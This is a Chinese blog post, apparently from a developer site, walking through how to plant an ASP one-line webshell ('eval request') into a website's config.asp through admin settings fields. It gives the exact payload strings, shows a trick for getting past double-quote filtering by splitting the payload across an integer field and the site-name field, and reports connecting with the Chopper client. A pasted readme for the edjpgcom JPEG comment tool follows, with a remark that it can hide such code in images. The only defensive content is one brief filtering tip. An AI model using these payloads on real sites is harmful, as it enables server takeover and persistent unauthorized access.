后台插入一句话技术

一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。

话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。

网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”

对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样

"%><%eval request("d"%><%s="

那么在config.asp中就是

webname=“ "%><%eval request("d"%><%s=" ”


第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>

所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。

好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入

 

插入后,我们再点击“网站设置” ,出现错误
 

从这个错误,我们可以得到2个信息。

第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp

第二,网站名的变量为webname。


昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号',所以就成了webname=" ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。

由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。

在配置文件中,我们还可以看到这样一些设置

 
就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括
num=5
num是整数型,不然就成字符了num="5"

那么我们的一句话就可以这样构建,如图

 

在公告数中我们插入5%><%eval request(webname)%><%

必须要有5,不然将会出错,在网站名中我们插入"open"

由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下
 

<% .................... webname="open" num=5%><%eval request(webname)%><% webnum=7 ....... %> 我们的一句话就相应为
eval request("open"),open为密码。

用菜刀成功连接

 

从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。

那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
edjpgcom is a free Windows application that allows you to change (or add) a JPEG commment in a JPEG file. That's all it does. All other fields in a JFIF or Exif file are left untouched. It even keeps the filesystem timestamp! It's based on the rdjpgcom and wrjpgcom utilities from the Independent JPEG Group's 6b distribution. (Heck, it's essentially these two programs combined with a basic dialog control.) Installation: ------------- Copy the executable egjpgcom.exe someplace convenient. It's completely self contained and uses no registry entries. Usage: ------ edjpgcom "filename.jpg" The quotes around the filename are *required* (Don't ask.) A dialog will popup. The text area will contain any existing comment text. You can cut and paste using the usual Ctrl-C, Ctrl-V, Ctrl-X. If you press OK, this text will be added to your file and a backup file will be created with the same name as your file but with a ".bak" added. If you don't want this backup file, check the 'Delete Backup?' checkbox. Of course pressing Cancel will exit without doing anything. If you want to delete a comment, just delete all the comment text. Edjpgcom will then delete the comment section. Now I don't really expect this program to be used from the command line. Instead, I assume that you will add it to either the external programs list of another editing/managment program OR add it to the context menu for JPEG files in windows. NOTE: Changing file associations akin to editing your registry. Be careful and be sure you know how to undo anything you might have done. For example, in Windows 98: * open Windows Explorer * View -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) NOTE: Sometimes you may not be able to find the JPG File types If this happens see below. * press the "Edit" button * press the "New" button * for the "Action:" enter Comment * for the "Application used..." enter "c:\full\path\to\edjpgcom.exe" "%1" where the quotes are important (if you do not use quotes around the program path name, Windows may assume only short filenames can be passed to the program) and replacing c:\full\path\to with the correct directory path where you put the executable. Now "Comment" should appear when you right-click on a JPEG file. This works well in combination with "View as webpage" or "Thumbnails". In Win2k, the procedure is the same except you get to the add action dialog this way: * Open "Windows NT Explorer" * Tools -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) * press the "Advanced" button NOTE: Sometimes you may not be able to find the file type associated with .jpg files. This usually happens after several programs have reset your file associations. I use an utility from PC Mag called "Freedom of Association" to reassign the .jpg extension to a registered type. Another alternative is to add a shortcut to egjpgcom.exe to your Windows "Send To" directory. You can then send a file to edjpgcom. It will politely refuse to handle a non-jpeg file. If you use ThumbsPlus to manage your photos (highly recommended), you can add edjpgcom as an external program using the following steps: * Right-click on the tool bar to bring up the customization window * Press the "External Programs" button * Enter the full pathname to edjpgcom.exe in the Program box. * Make sure the "Short Names", "multiple files" and DDE are NOT checked. Now you will have an icon on your toolbar and a menu item on the right-click popup window for image files. Template File ------------- If the environment variable EDJPGCOM_TEMPLATE exists and points to a readable file, then the contents of this file will be used as the default comment when adding a comment to a file that does not already have one. License: -------- Permission to use this software for any purpose, without fee, is hereby granted. THIS SOFTWARE IS BEING PROVIDED AS IS, without any express or implied warranty. If you like it send me one of your photos (email or a postcard) at: edjpgcom@yahoo.com Erik Magnuson 7490 Windover Way Titusville, FL 32780 Send comments/bug reports to edjpgcom@yahoo.com. How it works: ------------- When egjpgcom starts, it opens the file, extracts the comments and then closes the file again. When you press OK, it creates a temporary file with the same path and filename as the original, but with an random 3 digit extension instead of ".jpg". It then copies the header data from the original file, the new comment, and the rest of the original file to this temporary file. It closes the temp file and attempts to rename the original file to ".bak". If this succeeds, it will rename the temporary file to have the original filename. Last, it deletes the backup file if that options is selected. What this means is that if egjpgcom should crash for any reason, you should still have your original file (unless you deleted it!). You might have to clean up a .nnn file but that's it. It's been tested on Win2k, NT 4.0 SP5, Win95a, Win98, and Win98SE. Limitations: ------------ * The egjpgcom program itself only supports a single filename as input. However, if multiple files are selected and "Add Comments" context menu is chosen, multiple copies of egjpgcom will be started. Hopefully, the filename in the title bar will help you figure out which is which. * While a JPEG comment field can up to 64k chars, edjpegcom is limited to 32000 characters by the Win32 edit dialog. * egjpgcom uses the DOS/Windows CRLF convention for line terminators. It will convert any plain CR or LF to a CRLF pair. * edjpgcom has not been tested with multiple COM sections in a single file. * edjpgcom does not get any comment data from other comment fields like Photoshop FileInfo (IPTC/NAA subset) Exif ImageDescription Exif UserComment * Error messages are primitive. Credits: -------- This software is based in part on the work of the Independent JPEG Group. Thanks to Jacob Navia for lcc-win32. rec.photo.digital for all the information. History: -------- 17 Feb 2001 v0.1 foisted upon an indifferent world 19 Feb 2001 v0.2 Fixed Win9x file creation timestamp (well, it worked on Win2k!) 10 Apr 2001 v0.3 Deletes comment section if empty comment entered Does not write file is comment text unchanged and "OK" pressed. Added a simple program icon. 19 Dec 2001 v0.4 Larger dialog box size Defaults to delete backup Optional template file if empty comment block. ------------------------------ 可以在正常的图片中插入一句话代码。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值